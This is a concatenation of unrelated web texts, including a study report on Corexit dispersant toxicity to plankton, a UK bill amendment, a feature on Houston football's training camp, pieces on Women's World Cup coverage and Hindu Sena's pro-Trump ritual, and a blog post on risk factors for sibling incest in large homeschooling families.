This is one of the first studies to look at the impact of the oil-dispersant mixture on plankton. A decline in populations of plankton could impact larger animals all the way up to whales, he said. In general, plankton can rebound quickly, although the toxicity to larvae in sediments is concerning, since it reduces the size of the next generation. This ocean-bottom oil slurry could have also impacted other species that spend part of their life cycles here like algae and crustaceans.
"This is an important study that adds badly needed data to help us better understand the effects of oil spills and oil spill remediation strategies, such as the use of dispersants," said Stephen Klaine, an environmental toxicologist at Clemson University who wasn't involved in the research. "Species' differences in the sensitivity to any toxic compounds, including the ones in this discussion, can be huge."
The results contrast with those released by the Environmental Protection Agency in August 2010. That study found that a mixture of oil and Corexit isn't more toxic than oil alone to both a species of shrimp and species of fish. However, several studies have found the mixture is more toxic than oil to the embryos of several fish species. The EPA could not immediately be reached for comment.
"To date, EPA has done nothing but congratulate itself on how Corexit was used and avow they would do it the same way again," MacDonald said.
However, Snell said the dispersant should not be used. It would be better to let the oil disperse on its own to minimize ecological damage, he said.
"This is a cautionary tale that we need to do the science before the emergency happens so we can make decisions that are fully informed," Snell said. "In this case, the Corexit is simply there to make the oil disperse and go out of sight. But out of sight doesn't mean it's safe in regard to the food web."
"It's hard to sit by and not do something," Snell said."But in this case, doing something actually made it more toxic."
Reach Douglas Main at dmain@techmedianetwork.com. Follow him on Twitter @Douglas_Main. Follow LiveScience on Twitter @livescience. We're also on Facebook& Google+.
Insert the following new Clause—
“Secretary of State’s duty to increase public awareness of new psychoactive
substances
(1) The Secretary of State must establish a scheme to promote public
awareness of new psychoactive substances, including the dangers these
substances may pose.
(2) The duty referred to in subsection (1) includes, but is not limited to, the
requirement to introduce measures to—
(a) increase public awareness of new psychoactive substances; and
(b) assist schools in educating pupils about the dangers associated with
new psychoactive substances.
(3) The Secretary of State must publish, and lay before each House of
Parliament, a report on the actions undertaken in pursuance of this section,
within six months of the passing of this Act and annually thereafter.
The report shall include, but not be limited to—
(a) measures that have been taken to increase public awareness,
including the cost of such measures;
(b) measures that have been taken to assist schools in educating their
pupils;
(c) a subsequent review of the effectiveness of the measures taken; and
(d) any further measures that the Secretary of State plans to undertake
Ken Nakagaki's Comppass draws simple shapes created as digital files onto paper in a similar way to how a conventional compass draws a circle.
Related story Moleskine Livescribe Notebooks transfer ideas from paper to screen
"The initial idea came from simple curiosity – how would it feel to draw a square with a compass?" Nakagaki told Dezeen.
A two-piece arm slides back and forth parallel to the drawing surface along a pair of metal rods.
With one end fixed into the paper with a spike, the pencil lead at the other end of the arm moves in the programmed shape independently as the rods are rotated 360 degrees by the user.
This movement allows for any number of shapes within a range of diameters to be drawn in the same way a conventional compass creates a circle.
The Comppass can be programmed to draw a range of digitally created shapes, and can also be used to "copy and paste" shapes from the physical world, either by taking measurements or tracing them freehand.
The shapes are then converted into a digital file that the Comppass can draw onto paper, creating a replica of the original.
It can do the same with three-dimensional objects, converting the measurements into a net, which can be drawn, cut out and folded into a replica of the 3D shape.
A blade attached in place of the pencil, enables shapes to be cut from as well as drawn onto paper or card.
"Down the ages, people have been used rulers or compasses to draw precise figures with their own hands," said Nakagaki.
"On the other hand, as computers developed, CAD software has enabled us to draw precise figures and duplicate them easily on the display. But these systems lack the intuitiveness of drawing on paper. We needed a drawing tool that included the advantages of both digital and manual."
The prototype device, made of 3D-printed ABS resin, contains a rotary encoder to detect the rotation angle, a servomotor to regulate the radius of a pen, LEDs, a switch, and a micro controller. A Bluetooth module enables wireless communication with other devices.
Currently completing a masters degree at the Massachusetts Institute of Technology (MIT)'s Media Lab, Nakagaki developed the project while studying at the Yasuaki Kakehi Lab – part of Keio University in Japan.
Ward, the quiet and humble son of a preacher, is one of four Houston captains who has been charged with addressing their teammates. The subject? Why the Cougars went 13-1 in Tom Herman's first season. This task for Ward would have seemed unthinkable when Herman arrived in January 2015.
Now, on the eve of the Cougars' first two-a-day practice of 2016, Ward is dropping F-bombs like Herman as often heard in football culture. Ward identifies a couple teammates by name as he gives his fiery talk, the same tactic Herman uses to make players feel on edge so they're paying attention and believe he's talking directly to them.
Every now and then, Ward glances at a note card, but he's rolling now. He talks about how Houston players need to be hungry like a lion to eat whenever they want and avoid being a gazelle that runs from fears and mistakes without ever correcting them.
"Coach Herman, coach [Major] Applewhite, we challenge y'all to [expletive] coach us the best way possible because everybody can't get complacent," Ward says. "Last year was a great [expletive] season, OK? The second season is even harder. Everybody is expecting us to [expletive] go out there and do better than we did. As far as us [veterans] sitting in the front, we won a [conference)]championship. We want a national championship. What are y'all going to do to help us, and what are we going to do help y'all?
"We gotta go hunt the lion. We can't say we're a lion and act like a [expletive] gazelle. We can't hang around lowlifes. We can't hang around people that are smoking weed. We can't hang around people that don't go to class. We can't hang around people that don't care a [expletive] about their life. We've got to hang around people that are willing to go through the same [expletive]."
Last year was a surprising debut for Herman, capped off by a dominating Peach Bowl win over Florida State. But that was 2015. No Peach Bowl gear is allowed at team activities in 2016. Herman requires that the 2015 Cougars are only mentioned as "that team," not "we," though he slips up at times and quickly corrects himself.
In the back of the meeting room, Herman watches with pride as the four captains each talk about a word that defined Houston in 2015.
Tight end Tyler McCloskey speaks about resilience and how, athletically, he didn't belong on the field against the Seminoles. Yet there the Cougars were, leading Florida State 21-3 at halftime, and they didn't let up. "That team understood that complacency was not an option," McCloskey says.
Defensive back Brandon Wilson's word is sacrifice. He switched to running back in 2015 out of need despite having never played the position. "I didn't really know about 60 protection or any of that," Wilson says. "I'm like, OK. I'll do it for my team. I'll do it for my brothers."
Defensive end Cameron Malveaux speaks about unity. "Some teams we beat last year, we were not more talented than them," he says. "I think we beat those teams' ass because we cared for each other more."
But none of the speeches get Herman more fired up than Ward's. Earlier in his career, Ward tried only to lead by example, but Herman and Applewhite, Houston's offensive coordinator, had to convince him he's the quarterback of a top-10 team and needed to give more than that.
Now here's Ward on testimony night sounding like Herman. Or, as Herman might say, Ward is talking like a dude.
"His was the one I ate up the most," Herman says later. "I was bubbling with pride."
On this night, Houston's Sept. 3 showdown against Oklahoma is still three weeks away. No one speaks of the Sooners. The Cougars are simply trying to build an identity and survive summer camp days that start at 5:30 a.m. and end at 9 p.m.
Herman, who one day soon may be a hot commodity for major head coaching jobs, calls this the hardest training camp in the country. There's no way to know, of course, but no Cougar will disagree. Herman likes to say Houston trains for chaos to keep players physically and mentally on edge. Over 24 hours in mid-August, here's a sampling of what that looks like.
Stuck on a sticker: Herman greets a visitor in the lobby of the Athletics/Alumni Center, which houses the football team, and quickly becomes preoccupied with something else as he talks. There's a sticker with a smiley face on the floor. Herman bends down and tries for about 20 seconds to get it off.
When Herman first came to Houston, there was a hallway with rubber tiles that started peeling so he bought scrapers at Home Depot and spent a night peeling the tiles back. Houston's administration got the message and bought new floors.
Herman often tells the story of the day Andrew Luck and his dad Oliver unexpectedly visited Rice when Herman coached there. The impromptu visit happened so fast that Herman couldn't clean up the facility so Luck saw all of Rice's warts before making a visit to Stanford.
Would Luck have gone to Rice anyway? Probably not. But just in case, Herman keeps working on that sticker in the Houston lobby.
Turning the Cougars into dudes: Two players recently quit the Cougars early in camp, true freshman Hasaun Glasgow and junior college transfer J.J. Dallas. Herman thought he would have weeded players out by now, but that's not the case, so he addresses the departures with the team by selling testimony from 2015 about the benefits of persevering.
"I had one guy actually say to me on his way out, 'You know, coach, I get your culture, but this culture is not for everybody,'" Herman says. "You're [expletive] right it's not! This is not a 7-5 culture, Kyle. This is a championship culture, and you're either with us or you're against us. So if you want to leave, that's fine. But after you see all this testimony, why in the world would you ever leave this program? ...
"It's mind-[expletive]-boggling how anyone would want to say, 'You know what? It's just too [expletive] hard, I want to go through life average.' Good. What? You want to do what? We win [expletive] championships around here and we produce really [expletive] quality husbands and fathers and employees! That's what we do around here!"
Herman shows the players recent text messages from ex-Houston players from "that team" in 2015. Former safety Lee Hightower, whom Herman says used to have a selfish agenda, texted Herman thanks for the training that allowed him to get complimented by an NFL veteran in camp for speaking "like a dude."
Former wide receiver Demarcus Ayers, another Houston player in an NFL camp, texted Herman to say he's enjoying the process of improving as Houston taught him. He even wished Herman a happy Father's Day. Herman expresses disbelief that these messages came from Ayers, a player the coach says used to be selfish, entitled and soft.
"I'd say if it he were sitting here so we're good, right, Greg?" Herman says, using a players' name in the manner he does to keep everyone on edge.
Much of how Herman builds a team came from his time as Ohio State's offensive coordinator under Urban Meyer. There's no whispering behind someone's back with Herman or his staff. He is comfortable praising and criticizing players because he views teams as families, and in Herman's world, families are open and honest.
But yes, many players thought the 41-year-old Herman was insane when he first arrived in January 2015. This is a man who locked them out of their locker room for five days in the first winter until every player did 30 up-downs correctly. This is a man who once acquired a second middle name for his son's birth certificate -- Danger.
"So he can tell chicks 'Danger' is his middle name," Herman says. "I don't take anything too seriously. I want the kids to have fun. I want things to be enjoyable. To me, Jon is not a fun name. Thomas is not a fun name. Have a little fun with it."
Sometimes Herman's words are totally over the top. He instructs players to hand themselves over to director for football sports performance Yancy McKnight and tell him, "I'm [expletive] yours. Do with me whatever you want because I trust you and I trust that no matter how hard it is, how uncomfortable it is, how painful it is, that the results when I run through that wall are going to be unbelievable."
But after a 21-17 record in three years under former coach Tony Levine, many players love running through that wall. When Herman arrived, "I just thought he was kind of a pretty boy OC that did really good at Ohio State," says Malveaux, a team captain. "I learned very quickly that he loves hard-nosed football. I respect that about him. He's one of the most consistent men I've ever seen in my life. Every day here his demeanor never changes."
Bright and early and intense: It's 7:30 a.m and practice No. 11 of the summer, the first two-a-day session. Players are stretching when Herman suddenly blows his whistle for a fast-start drill where players quickly shift into an 11-on-11 live-hitting session between the offense and defense.
Herman is furious about the players' energy. A wide receiver drops a pass. Ward bobbles a snap. Herman repeatedly screams in his quarterback's ear hole like a mad man, "Start it over, Greg! Start it over, Greg! Start it over, Greg!"
There's a drone buzzing over the practice field to record aerial shots of practice. Defensive coordinator Todd Orlando walks around with a championship belt that goes to the five-round winner between the offense and defense in circle drill, a one-on-one battle that's won by positioning, strength and toughness.
The Cougars want to be more than offseason champions. CBS Sports
AC/DC's "If You Want Blood" gets cranked up. Herman shouts for the music to go louder.
"I get to play what I want, or they tell me what to play," says Devin Meaker, the team DJ on the field while in a wheelchair and who is affectionately called DJ Hotwheels. "Today, Coach Herman is in a grumpy mood and they told me heavy metal."
Wide receiver Steven Dunbar gets chewed out by Herman for not sprinting back during a drill. Still, on a one to 10 scale of how ticked off Herman is today, Dunbar later rates him a six.
"He gets worse," Dunbar says. "Initially, like anybody, I'm like who is this guy? I think what our program lacked before, and I'm glad it's here, is the accountability side. We needed that because we always had the talent."
A surprise visitor: Ex-Baylor coach Art Briles arrives at the morning practice with Ken Bailey, one of the Cougars' top donors and a former quarterback at the school. Briles, a former Houston player and coach, called Herman in advance about stopping by. It's the first of Briles' planned 8-10 stops at colleges this summer and fall in addition to visiting NFL teams.
During a water break, Briles speaks briefly with Tren'Davian Dickson and Chris Johnson, former Baylor players who transferred to Houston after Briles was fired due to the program's sexual assault scandal. Many Houston coaches, including Herman, warmly greet Briles, who believes he will coach football again in 2017.
"It's the first fall since I've been 10 years old where I haven't been playing or coaching," Briles says. "You can't not have it in your blood. It's healthy for me to get out and see coaches coach and players play and see people have purpose. It's very strange [not to be coaching]. At the same time, there's some healthiness involved because I'm getting to look at what I love to do. I'm just not getting to do it now. But that will change."
Briles watches intently during drills. "Everything's got a purpose," he says of Houston's practice. "I've been really impressed. There's no wasted time. Coach Herman and his staff are very vocal, very animated, very driven."
Briles declines to discuss what happened at Baylor or whether the university must provide details publicly for another college to hire him. One day later, Briles will speak with reporters at the Houston Texans' camp and say, "I've never done anything illegal, immoral or unethical."
On this day at the Cougars' camp, there's sensitivity about Briles presence, even though he's one of their own. Houston arranges for Briles to slip out without local reporters noticing him and asking questions that he will one day likely need to answer to have a chance to coach again.
It's nap time ... for three hours: Herman schedules this part of the day for the players to totally rest. About 80 mattresses are lined up throughout the locker room with the lights out.
Many players crash. Some of them woke up at 4 a.m.; went to treatment at 4:45 a.m.; got taped, ate breakfast and attended a meeting; and then went through the first of two practices in 90-degree heat. Some players watch television and play video games while their teammates keep sleeping.
Herman used to like measuring players' sleep habits when Chip Kelly emphasized it. But Houston doesn't have the resources for sleep sensors, so Herman keeps it simple: Get your sleep.
"If we could afford it, I would put them in a hotel to sleep (overnight during camp)," Herman says. "But we've got to trust when they leave here and go to the dorms they're going to sleep."
Houston players try to catch some Zs between practices. CBS Sports
The day's first evaluation: Herman enters a staff meeting to evaluate the morning practice. Six Cougars fans follow him into the room and pull up chairs. They are following him around for a day in the life of Tom Herman. This, too, is a reality of being a head coach. Herman cheerfully obliges.
As the coaches watch film, Herman raves about McCloskey, one of his captains, getting in the face of a running back who lost a fumble. McCloskey shoves the running back to the side to do up-downs.
"Did you see Tyler push the [expletive] out of him after he fumbled?" Herman says, smiling. "That was awesome!"
In another drill, five-star defensive lineman Ed Oliver moves two offensive linemen in an unworldly way for a true freshman. "The nose guard is 18 years old, boys," Herman marvels. "We've got him for three more years -- this one plus two more."
The reality of being a Group of Five school is also evident on film. "Look at that grass," Herman says of spotty patches on the field. "What a shame. We haven't been in training camp two weeks. That thing will never hold up the whole season."
Weather threatens: Rain is in the forecast for the afternoon practice. Herman needs to make a call during another staff meeting: Does Houston risk staying outside for a possibly sloppy practice or go to the Houston Texans' indoor bubble? Herman opens it up to his assistants and staffers for recommendations.
Like most programs, Houston stresses routine. Herman likes training for chaos with off-the-cuff decisions, but preparing for a routine is also a major part of the team. When Herman's staff arrived, Applewhite kept pounding into Ward's head that every great player has a routine and he needed one.
Routines are craved for practice, too. But since the Cougars' planned indoor practice facility likely isn't opening until September 2017, they must adapt when it rains.
The Cougars had awful practices in the Texans' bubble last year. Players weren't focused. One of the trips to the bubble came the week Houston lost to UConn, the Cougars' only defeat of the season. (Of course, it's also the week Ward was injured and barely played.)
Going to the Texans' bubble is "a pain in the ass," says Fernando Lovo, assistant athletic director for football operations. On rainy days, Houston must coordinate with Rice and Houston Baptist University to use the only indoor facility in town. The schools get along, but it's like calling next in a pick-up basketball game, Lovo says. Whoever didn't acquire the practice time it wants gets next and a better time when it rains again.
Houston pays a nominal rental fee to the Texans in order to abide by NCAA rules. Still, the trip costs Houston between $1,500 and $2,500 to rent three buses for four hours in order to drive six miles in miserable rush-hour traffic, Lovo says. The biggest concern, though, is Houston will waste a practice because the players are unfocused in the bubble.
"Fern, you hate going so you're always going to vote not to go," Herman says to Lovo.
Orlando, the defensive coordinator, suggests a change of scenery may be good at this point in camp. Other coaches say to go. The bubble it is.
Also in the meeting, Herman raises concern that five chin straps came off during the morning practice. "I've never been anywhere with so many [expletive] helmets coming off," Herman says. "Are we buying the right helmets?"
Herman says he is anal about players checking the air in their helmet every day and making sure their chinstrap is perfectly fitted. Through the first 10 practices, Houston reported one concussion, according to Herman.
This is the first year the Cougars are using Pete Carroll's rugby-style tackling for open-field tackles. Houston calls it "gator tackle" because it's like wrestling an alligator. Still, Herman prides his practices on physicality. In an interview, he says a player at another college expressed surprise to a Houston player about how much the Cougars tackle in camp.
"I tell our team all the time, nobody once in the history of this great game -- nor will they ever, I hope -- has stood at a championship stage or podium holding a championship trophy and say, 'We out-finessed everybody,'" Herman says. "Football is a violent, violent sport, and you have to practice that way in order to get at elite levels on Saturday, in my opinion."
Before the meeting ends, Herman asks recruiting director Derek Chang about the background of a player who is transferring from a Power Five school. Chang reports Houston talked to an assistant at the school and the player had a domestic violence issue.
"Done. Punt," Herman says. Other coaches agree. "Punt it."
Two-a-days make for a long 24 hours at Houston. CBS Sports
It's time for position meetings: Orlando is quizzing his linebackers on what they did right and wrong at the morning practice. The linebacker room is both light-hearted and dead serious. And it's bluntly honest.
"Are you freaking Albert Einstein?" Orlando asks one player. "Are you going to write anything down?"
The night before, Herman called out Orlando in front of the team for having only one linebacker perform at a championship level at the recent scrimmage. The defense gave up completions on seven of 13 deep balls at the scrimmage (54 percent), and Orlando wants that number at 20 percent. Orlando tells his linebackers they're being trained for every position so whoever understands the scheme best will play.
There are atta-boys by Orlando on good plays. One player whom Orlando says he has been riding "like Secretariat" gets praised for his work in circle drill. "This is gladiator style!" Orlando tells him. "This is every one of your peers watching you with everything on the line and you dominate."
In order to get a point across about how to tackle while taking on a block, Orlando tells a linebacker to go around the corner and hide behind the door. Don't jump out early and throw a punch, Orlando says. Wait until the unsuspecting person is right at you for the biggest impact.
"It's the same concept with tackling," Orlando says. "You don't want to jump out. You don't need to see him. Use your eyes and then, boom! Because those are the most vicious shots in football when you catch somebody that's coming around a corner that doesn't see you."
Orlando harshly criticizes a linebacker who complains he didn't make a tackle on film because he was held. "Holding you?" Orlando says. "Because you're [expletive] soft, that's why the [expletive] he's holding you. Be a physical [expletive] guy. That's your [expletive] problem. You want to make [expletive] excuses for everything."
There's laughter when Orlando shows 6-foot-7, 230-pound punter Dane Roy throwing a good block on film. "That's it. That's our culture. That's why we're going to win, right there," Orlando says. "We've got our starting freaking punter trying to block a defensive guy!"
These are the meetings Herman misses most since becoming a head coach. At the team testimony, he apologized to players for not knowing a lot of their parents' names during a family event. The intimate relationships are tougher when you're in charge of 105 players instead of one position.
"It's so hard to try to get close to them," Herman says. "When you're in that meeting room, it's a bunker mentality, you're knee-deep in that young man's life, and you form an unbelievable relationship. I know it sounds corny, but I really, really miss that."
Suddenly, a loud noise: The monotony of position meetings gets interrupted by a startling sound from down the hall. A trainer comes into the room and tells Houston's linebackers to fill up their water bottles.
Herman is coming. He's the noise.
Here comes Herman into the linebacker room, his latest stop to each position room. It's time for the linebackers to chug water. Herman counts out loud one through 10, pounding his hand on a Gatorade container at each number.
"One." Whack.
"Two." Whack.
"Three." Whack
On and on they go until they drink water for 10 seconds to replenish fluids before the afternoon practice.
At a team meeting later, Herman tells the players he found a water bottle left in the training room with no name on it. He offers a deal: If the player who left the bottle admits now that it's his, he gets 10 up-downs. If Herman finds out later, it's 30. No one cops to it. Herman asks a support staffer to investigate whose bottle it is and instructs his assistants to make sure the players put their names on their bottle.
"You guys want to try to [expletive] with the system right there," Herman tells the team. "'Oh, mine's the one with the really tall yellow tape on it. I got it. I'm good. That way if I lose it, guess what? Then the coaches don't know and I get another water bottle.' For 10 [expletive] updowns. We don't miss, guys. We don't miss. I applaud the effort [Herman claps]. Great effort."
Herman says Houston sustained one soft tissue injury last season.
"You think that's luck because we're getting silly and chugging water?" Herman asks. "No. It's called [expletive] science, Steve. It's called anatomy and physiology. Your muscles don't pull when you're hydrated. Your muscles pull when they're dehydrated. Period. End of story. Again, the most commonly-used words around here are what?"
"[Expletive] and hydrate," the team responds in unison.
Loading the bus: Houston heads over to the Texans' practice bubble. By all accounts, they have a good practice. It's considered a good sign for the maturity of this team.
Herman has gone to great lengths during training camp to not talk about Oklahoma. Some coaches use a high-profile Week 1 opponent as motivation with players. But Herman has heard the horror stories of teams focusing too much on the Week 1 opponent all offseason, losing the game, and then getting crushed emotionally.
"Those coaches didn't get them back for another four to five weeks," Herman says. "We're not going to make that mistake. I think it's great for the city of Houston. We're gonna try to win it. But it's not gonna make or break our season."
The truth about Herman, which he freely admits: He still doesn't know what he doesn't know.
He has never been a second-year head coach. He has never gone into a season as a head coach with high expectations from the outside. He has never graduated significant players and leaders, such as cornerback William Jackson and linebacker Elandon Roberts, and had to start over next season with different talent and chemistry.
Herman is fearful about complacency. He says he looked hard in the offseason to see what players were doing and saying after all of the love showered on them from the Peach Bowl victory.
"I'm almost nervous," Herman says. "Training camp's going well. It's like, what am I missing? What did I forget? I feel uneasy because things are going smooth. But it's a testament to our kids, our coaches, our strength coaches that we're able to keep this thing rolling."
Training for chaos never ends at Houston, even after the summer. But camp is over and the behind-the-scenes work transforms into a product everyone will see.
But while England’s decisive final group game was broadcast back home on some TV backwater (live coverage was bumped to the soon-to-be online only channel BBC Three, with a DIY show instead shown on BBC One), the match was taken elsewhere as something much more significant. In fact, the Women’s World Cup - which is predicted to set a new attendance record of 1.25 million - is seemingly a big deal everywhere but the UK.
Nowhere is that felt more than the United States – where the success of the women’s national team is regarded with just as much gravity as the men’s side. Unlike in the UK, primetime broadcasters are concentrating on the Women’s World Cup, with interest nearly as high as it was for Jürgen Klinsmann’s team at last summer’s 2014 World Cup in Brazil. Traffic to the Guardian’s minute-by-minute reports reflects this equality too – there were twice as many readers in the US for the women’s team’s victory over Australia this month than there was for the men’s team win over world champions Germany.
And it’s not just in North America that the Women’s World Cup is considered a truly marquee event. Colombia has taken a contingent of thousands to Canada, with northern European nations like Germany, Sweden and Norway also boasting strong support for the tournament, both at home and on the ground. Even in France – a country which hasn’t always embraced the women’s game – best-selling sports newspaper L’Equipe splashed the national team’s 5-0 thumping of Mexico on the front page last week.
“In Sweden, the tabloid newspapers and TV stations have had extensive coverage of the Women’s World Cup,” explains Sven Bertil Liljegren, a journalist with Swedish broadcaster TV4. “In fact, for TV4 one of their best ratings ever was when the women’s national team played in the World Cup final [in 2003].”
So why is such a global event generally ignored by the United Kingdom? Some insist that the women’s game is indeed finding traction there, but coverage of this year’s Women’s World Cup has been scant. “It is not as if there is Premier League column inches to compete with,” says Laura Montgomery, manager of Glasgow City - a women’s soccer side that made the Women’s Champions League quarter-finals last season. “It is very frustrating that women’s sport continues to be denied anywhere near an equal footing in the media.”
Media figures would probably claim that interest in the UK does not justify widespread coverage, while those who are interested in women’s football might argue that the fanbase doesn’t exist because it isn’t given fair coverage. And without compromise that stand-off is unlikely to ever change. So why is it different in the United States - the world’s biggest media market?
Is the US so caught up in the Women’s World Cup because their team has a genuine shot at winning? After all, by the very nature of sport the best teams tend to have the most fans, attracting a higher degree of attention than those nearer the foot of the pyramid – in this case, like England. “We are a small country by population and when we are successful it automatically becomes interesting,” says Liljegren, elaborating on Swedish interest in its national team in Canada this summer. Would England boast a similar support if its national team had a chance at glory?
Of course, in the US, the time zone and proximity to host country Canada obviously helps – particularly with television ratings and travelling fans respectively – but the country’s enthusiasm for the Women’s World Cup stretches much farther back than just this summer. In fact, the 2011 final between the US and Japan set a new national record at the time as the most watched soccer match in cable history - with 13,458,000 viewers tuning in. And in a pre-cable age the 1999 Women’s World Cup final between the USA and China was watched by a staggering viewership of 17,975,000.
But how much of that is down to the success of the USWNT - and how much of it is down to the country’s consumerist culture? How big a part do sponsors play in the regard of the Women’s World Cup in respective territories? For instance, in the US Nike has made billboard stars and headline acts of players like Sydney Leroux and Alex Morgan. Perhaps the UK struggles to engage in the women’s game simply because it doesn’t have the same celebrity attraction.
There is a general apathy towards international soccer in Britain, with the England men’s team in particular no longer the countrywide, common passion it once was. Given this, it’s possible that such an attitude has seeped into the women’s game from the men’s side. Or maybe British fans don’t care about the international game, regardless of whether it’s men’s or women’s.
In the UK, soccer is predominantly a male-orientated sport, with 12 men regularly participating in the sport for every one woman. Just 5.6% of British club members are female, with soccer just the ninth most popular sport among women (badminton, equestrian and athletics all rank higher). The same trend does not apply to the United States, where soccer is truly a unisex pursuit. This is especially true through school into college: in 2008, 48% of registered youth soccer players were female. By getting in at grassroots level, the women’s game in America has a grounding that England and the UK as a whole doesn’t.
“Most girls grow up playing soccer so all these girls are possibly looking up to the USWNT as role models,” says Caitlin Murray, who is covering the Women’s World Cup for the Guardian US. “Time zones also make a difference to ratings, but Americans care more about women’s soccer than other countries anyway. Americans don’t have antiquated and long-held views about women playing soccer the way countries with long footballing histories do. We’re not entrenched in the idea that soccer is a man’s sport.”
Perhaps the most fundamental – and most common – criticism of the women’s game, and by an extension this summer’s World Cup, is the quality of play. That point is debatable (and was brilliantly skewered by the Norwegian team in a parody video earlier this week) But even if those stereotypes were true, when it comes to international competition, where patriotism and tribalism are driving factors, the quality of football isn’t always a driving factor for fans. For instance, fans still support substandard national teams in the men’s game: look at Scotland and the long-suffering yet committed Tartan Army.
Of course, finding flaw with the Women’s World Cup doesn’t make you a sexist, but the deep-rooted disregard for the women’s game in the United Kingdom has origin in antiquated ignorance. It will take more than just a BBC One primetime broadcast for that culture to change, however, with the grassroots structure of the British women’s game lagging generations behind North America
Seattle defender Chad Marshall was named MLS Player of the Month for September, it was revealed on Thursday. His award comes one month after midfielder Nicolas Lodeiro won the August honor.
Marshall took home 30.66 percent of the vote, beating New York City FC forward David Villa (29.94 percent) by less than one percentage point to win the award. New York Red Bulls forward Bradley Wright-Phillips finished third in the fan voting (18.43 percent). He was followed by LA Galaxy star Giovani dos Santos (14.74 percent) and Columbus Crew SC striker Ola Kamara (6.23 percent).
The veteran defender was huge for Seattle in September, teaming with Panamanian international Roman Torres to lead a backline that registered two shutouts and allowed just three goals in four matches as the Sounders climbed back above the red line with a 3-0-1 record. Marshall also got involved in the attack, scoring the game-winning goal in Seattle’s 1-0 win against Chicago on Sept. 28.
The five Etihad Airways Player of the Month finalists are selected at the end of each month by the MLSsoccer.com editorial staff. The winner is then determined by a fan vote.
June 24–30
Sustainable Seafood Week is a Madison Area Chef’s Network initiative in partnership with Sitka Salmon Shares, Sea to Table, and many others to raise awareness on the importance of supporting sustainable fishing practices. From June 24–30 over 30 Madison restaurants will be featuring $10 dishes on their menus that highlight sustainable seafood. There will also be several events throughout the week to celebrate our fine purveyors and their fishermen.
Signature Event #1
OYSTERS AND BEERS KICKOFF PARTY
June 24th, 4-6PM
Graze
1 South Pinckney Street
BUY TICKETS HERE
Signature Event #2
MACN presents a traditional
DOOR COUNTY FISH BOIL
June 27th, 5-8PM
The East Side Club of Madison
3735 Monona Drive
BUY TICKETS HERE
Participating Restaurants
Jantar Mantar, one of the greatest historical places in India, last Wednesday, witnessed an unusual hawan or homa (a Sanskrit word that refers to a Hindu ritual), for the victory of Donald Trump in the United States 2016 Presidential election. The hawan was performed by the Hindu Sena, a right-wing Indian Hindu group. A dozen or so of the group's members chanted mantras (a sacred group of words in Sanskrit that the practitioners believe have spiritual and psychological powers) around a ritual fire, asking their Gods to make Donald Trump, one of the most hated persons in the whole world right now, the President of the United States of America.
The fact that Donald Trump, during his campaign, made fun of India and accused the nation of stealing jobs, did not deter them from praying for Trump. Either the group has been ignorantly blind or they have been blind with Islamophobia when they conducted the hawan. The words of Vishnu Gupta, founder of the Hindu Sena, points to the latter. According to him: "The whole world is screaming against Islamic terrorism, and even India is not safe from it. Only Donald Trump can save humanity."
Vishnu Gupta, a person known for his radical Hinduism and his intolerance towards people belonging to other religions, speaking about humanity, would most probably be seen as an advocate for humanity only by Donald Trump himself.
The Sena had a picture of Donald Trump along with pictures and statues of Hindu Gods during the ritual. Offerings such as grass, seeds, and ghee were thrown into the ritual fire. They also had a huge banner hung above them with Trump’s face on it. The banner read: “Hindu Sena supports Donald Trump: Hope for humanity against Islamic Terror.”
Right after the hawan, the Hindu Sena took to social media to announce the hawan they conducted for Donald Trump. They also endorsed their full support to the presumptive nominee of the Republican Party for President of the United States in the 2016 election via the post. The post also read that they are all are victims of Islamic terror. To fight against the evil, the world needs a brave leader, and that brave man is Donald Trump.
After the news about the hawan broke, social media exploded with posts ridiculing the Hindu Sena. Gupta replied to those posts saying that he does not care. He is supporting Trump because Trump is against Islamic terror.
In another tweet, Gupta said unemployment is not India's biggest problem, but Islamic terrorism is. He signed off by proclaiming his undying love for Donald Trump.
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We, the signatories of this petition, would like to draw your attention to the situation of the Belgian Hannes Obreno (men single scull) and the Belgian Niels van Zandweghe and Tim Brys (lightweight men’s double sculls). Both boats won at the Continental Olympic Qualification Regattas but existing rules only allow one of these Belgium boats to start at the Olympic Games in Rio de Janeiro.
The qualification rules are in place to stimulate diversity within the rowing sport and we fully support this intention. The rules however have the opposite effect and a country that already has five rowing boats qualified (Denmark) profits from this situation. Needless to say, contrary to the intention behind the rules in place, this does not stimulate diversity within the rowing sport.
For this reason, and with urgent appeal, we want to ask the Board of FISA to do whatever is necessary to make it possible for Belgium to send two boats to Rio de Janeiro for the Olympic Games. Sportmanship and fairness are more important then rules that do not function.
We wish the Board of FISA all the best with solving this problem. It is within the spirit of the Olympic Games that the best boats are able to enter the Games and challenge each other!
Yours sincerely,
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This post has been a long time coming, and with the Duggar scandal all over the news, its been on my mind again. First off, let me say that what Josh Duggar did was wrong, and how the media has handled this story has been pretty awful too. Tabloids have been flippant about sharing police documents with the victims names on them, and since the Duggar family has been very vocally against LGBTQ people who they claim are child-molesters, there are a lot of people eager to point out the hypocrisy of covering up the deeds of a child molester in their midst. I think there is plenty out there on what happened, and how it was “handled”, I want to talk about the why. So many people are shocked and horrified that this happened in a “good christian family” like the Duggars, but it didn’t surprise me at all. I grew up in this movement, along with 10 siblings.
Sibling incest is not young similarly aged siblings curiously looking at each others genitals. It is initiated by one sibling, and there is usually a 3 (or more) year age gap. Risk factors for sibling incest include power imbalances, parentalized siblings, lack of sex education, and other forms of abuse already occurring in the home. Judging by the general information we have about the Duggars, a lot of these factors are present. The sheer amount of children dictates that the older children care for the younger ones. And in the police report interviews, none of the children interviewed even knew the correct names for the human anatomy when it came to genitals.
In a large homeschooling family, older siblings are often in charge of the younger ones. Younger children are expected to obey their older siblings as they would a parent, and may face punishment from the parents or even the siblings if they do not obey. This creates a hierarchy where the younger children are basically powerless, and have already come to expect that they do not have a say in how they are treated. Sexual actions initiated by the older sibling are not likely to be resisted or talked about in this sort of relationship.
If a parent is physically or emotionally largely unavailable such as would be the case for anyone with 19 children, parenting younger children can often fall to the older ones.The older child is often experiencing the parental neglect as well, and since they are not emotionally mature enough to handle being a parent, they end up relying on the younger child for whom they have parental responsibilities, for emotional fulfillment. Sometimes this leads to sexual actions as well. Other abuse existing in the home greatly increases the likelihood of sexual abuse occurring. If children are used to being emotionally abused, or physically abused, they do not have healthy boundaries or understandings of their rights as a human being.
